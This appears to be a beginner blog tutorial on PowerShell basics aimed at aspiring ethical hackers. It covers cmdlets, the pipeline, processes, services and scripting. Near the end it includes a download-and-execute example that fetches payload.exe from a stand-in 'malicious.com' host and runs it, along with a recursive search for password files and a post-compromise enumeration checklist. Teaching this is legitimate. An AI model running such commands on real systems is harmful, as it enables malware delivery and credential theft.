Back to blog
Guide

PowerShell Fundamentals for Hackers — From Basics to Real-World Usage

3 min read
by CyberTrick
PowerShellCybersecurityWindowsAutomationEthicalHackingCyberTrick

PowerShell is NOT just a command line.

It is a full scripting and automation engine used heavily in:

  • System administration
  • Enterprise environments
  • Cybersecurity (both attackers and defenders)

If Linux is dominant in servers,
PowerShell dominates Windows environments.

🧠 WHAT MAKES POWERSHELL DIFFERENT

Linux → text-based output
PowerShell → object-based output

This is the biggest difference.

Commands return OBJECTS, not plain text.

That means:
You can filter, modify, and manipulate data easily.

⚙️ BASIC COMMAND STRUCTURE

PowerShell uses:

Verb-Noun format

Examples:

POWERSHELL
Get-Process
Get-Service
Get-ChildItem

🧠 COMMON VERBS

  • Get → retrieve
  • Set → modify
  • Start → run
  • Stop → stop
  • New → create
  • Remove → delete

📂 NAVIGATION & FILE SYSTEM

Current directory:

POWERSHELL
pwd

List files:

POWERSHELL
Get-ChildItem
ls

Change directory:

POWERSHELL
cd C:\Users

📁 CREATE / DELETE FILES

POWERSHELL
New-Item file.txt
Remove-Item file.txt

📄 VIEW CONTENT

POWERSHELL
Get-Content file.txt

📦 PIPELINE (VERY POWERFUL)

PowerShell pipeline passes OBJECTS:

POWERSHELL
command1 | command2

Example:

POWERSHELL
Get-Process | Where-Object {$_.CPU -gt 100}

🧠 WHAT IS $_ ?

Represents current object in pipeline.

🔍 FILTERING & SEARCHING

Filter processes:

POWERSHELL
Get-Process | Where-Object {$_.ProcessName -like "*chrome*"}

Search files:

POWERSHELL
Get-ChildItem -Recurse | Where-Object {$_.Name -like "*password*"}

📊 PROCESS MANAGEMENT

List processes:

POWERSHELL
Get-Process

Stop process:

POWERSHELL
Stop-Process -Name chrome
Stop-Process -Id 1234

🧠 REAL USE CASE

  • Kill malicious processes
  • Monitor suspicious activity

📦 SERVICES

List services:

POWERSHELL
Get-Service

Start service:

POWERSHELL
Start-Service sshd

Stop service:

POWERSHELL
Stop-Service sshd

👤 USERS & SYSTEM INFO

Current user:

POWERSHELL
whoami

System info:

POWERSHELL
Get-ComputerInfo

Environment variables:

POWERSHELL
Get-ChildItem Env:

🌐 NETWORKING

Check connections:

POWERSHELL
Get-NetTCPConnection

Test connection:

POWERSHELL
Test-Connection google.com

Check IP:

POWERSHELL
ipconfig

🧪 SCRIPTING BASICS

Create script:

script.ps1

Example:

POWERSHELL
Write-Output "Hello CyberTrick"

Run script:

POWERSHELL
.\script.ps1

🚨 EXECUTION POLICY

PowerShell blocks scripts by default.

Allow scripts:

POWERSHELL
Set-ExecutionPolicy RemoteSigned

⚡ USEFUL COMMANDS (REAL WORLD)

Download file:

POWERSHELL
Invoke-WebRequest -Uri "http://example.com/file.exe" -OutFile "file.exe"

Execute command remotely:

POWERSHELL
Invoke-Command

Run external program:

POWERSHELL
Start-Process notepad.exe

🧠 AUTOMATION

Loop example:

POWERSHELL
for ($i=0; $i -lt 5; $i++) {
    Write-Output $i
}

🧪 CYBERSECURITY USE CASES

PowerShell is heavily used for:

  • Post-exploitation
  • Lateral movement
  • Persistence
  • Automation of attacks

🔥 EXAMPLE (DOWNLOAD & EXECUTE)

POWERSHELL
Invoke-WebRequest -Uri "http://malicious.com/payload.exe" -OutFile "payload.exe"
Start-Process payload.exe

🚨 DEFENSIVE SIDE (VERY IMPORTANT)

PowerShell is also used for:

  • Incident response
  • Log analysis
  • Threat detection

📜 LOGGING & MONITORING

PowerShell logs activity.

Important for detecting attacks.

🧠 ENUMERATION MINDSET (WINDOWS)

When inside a system:

POWERSHELL
whoami
Get-Process
Get-Service
Get-ChildItem
Get-NetTCPConnection

Ask yourself:

  • What can I access?
  • What is running?
  • What can I abuse?

🚨 COMMON BEGINNER MISTAKES

  • Treating PowerShell like CMD
  • Ignoring object-based pipeline
  • Running scripts without understanding
  • Disabling security blindly

🔥 FINAL MESSAGE

PowerShell is one of the most powerful tools in Windows.

If you master it:

👉 You control the system.